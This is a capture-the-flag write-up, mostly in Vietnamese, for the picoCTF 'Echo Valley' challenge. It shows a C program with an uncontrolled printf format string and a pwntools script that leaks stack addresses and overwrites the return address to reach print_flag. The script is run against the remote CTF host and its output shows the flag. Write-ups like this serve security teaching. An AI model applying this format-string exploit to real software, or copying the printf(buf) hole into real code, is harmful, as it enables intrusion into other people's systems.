pwn - Echo Valley

The echo valley is a simple function that echoes back whatever you say to it.But how do you make it respond with something more interesting, like a flag?

November 4, 2025 September 9, 2025 Medium
Author Author Hung Nguyen Tuong

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }
    
    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

Mitigation

image

Solve

Ta sẽ đặt breakpoint tại printf(buf) để test Format String:

image

image

Ta sẽ thử nhập chuỗi bất kỳ để xem buf nằm tại đâu trong stack:

from pwn import *

p = process('./valley')
e = ELF('./valley')

context.update(arch='amd64', os='linux') 

context.terminal = ['qterminal', '-e']

gdb.attach(p, gdbscript='''
    b *echo_valley+218
    c
''')

p.sendline(b'TEST')

Ở đây thanh ghi rsp trỏ đến buf, buf đang nằm trên top của stack.

image

Tất nhiên ta không thể overflow buf để ghi vào return address là main+18. Thay vào đó ta sẽ lợi dụng Format String Bug để ghi.

Trước hết ta cần đọc ra runtime address của main+18 để tính base address của binary.

gdb.attach(p, gdbscript='''
    b *echo_valley+218
    c
    ni
''')

p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))

image

image

Ta đã lấy thành công runtime address của main+18, ta sẽ tính base address rồi sau đó runtime address của print_flag() để ghi đè return address.

base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']

Nhưng ta cũng cần phải lấy ra địa chỉ chứa return address trên stack. Bởi thanh ghi rbp hiện tại đang chứa địa chỉ thanh ghi rsp của stack frame trước đó, ta chỉ cần đọc giá trị tại thanh ghi rbp sau đó trừ 8 là được địa chỉ chứa return address.

image

gdb.attach(p, gdbscript='''
    b *echo_valley+218
    c
    c
    ni
''')

p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))
base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']

p.sendline(b'%20$llu')
p.recvuntil(b': ')
return_address_ptr = int(p.recvline().strip()) - 8
print("return address pointer:", hex(return_address_ptr))

image

image

Tiếp theo ta sẽ tạo một FSB payload và đưa vào buf, từ đó printf() sẽ ghi đè runtime address của print_flag() vào return address.

gdb.attach(p, gdbscript='''
    b *echo_valley+218
    c
    c
    c
    ni
''')

p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))
base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']

p.sendline(b'%20$llu')
p.recvuntil(b': ')
return_address_ptr = int(p.recvline().strip()) - 8
print("return address pointer:", hex(return_address_ptr))

offset = 6
writes = { return_address_ptr: runtime_print_flag }
payload = fmtstr_payload(offset, writes, write_size='short')
p.sendline(payload)

offset = 6 bởi buf nằm ngay đầu stack (theo call convention của SYSTEM V ABI).

image

Cuối cùng ta nhập exit để thoát ra khỏi while loop và chuyển luồng thực thi đến print_flag():

p.sendline(b'exit')

image

Script

from pwn import *

p = remote('shape-facility.picoctf.net', 55880)
e = ELF('./valley')

context.update(arch='amd64', os='linux') 

p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))
base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']

p.sendline(b'%20$llu')
p.recvuntil(b': ')
return_address_ptr = int(p.recvline().strip()) - 8
print("return address pointer:", hex(return_address_ptr))

offset = 6
writes = { return_address_ptr: runtime_print_flag }
payload = fmtstr_payload(offset, writes, write_size='short')
p.sendline(payload)

p.sendline(b'exit')

p.recvuntil(b'The Valley Disappears\n')

print(p.recvall().decode())
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py 
[+] Opening connection to shape-facility.picoctf.net on port 55880: Done
[*] '/home/hungnt/Desktop/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
main+18: 0x624570be6413
return address pointer: 0x7fff29c19418
[+] Receiving all data: Done (59B)
[*] Closed connection to shape-facility.picoctf.net port 55880
Congrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}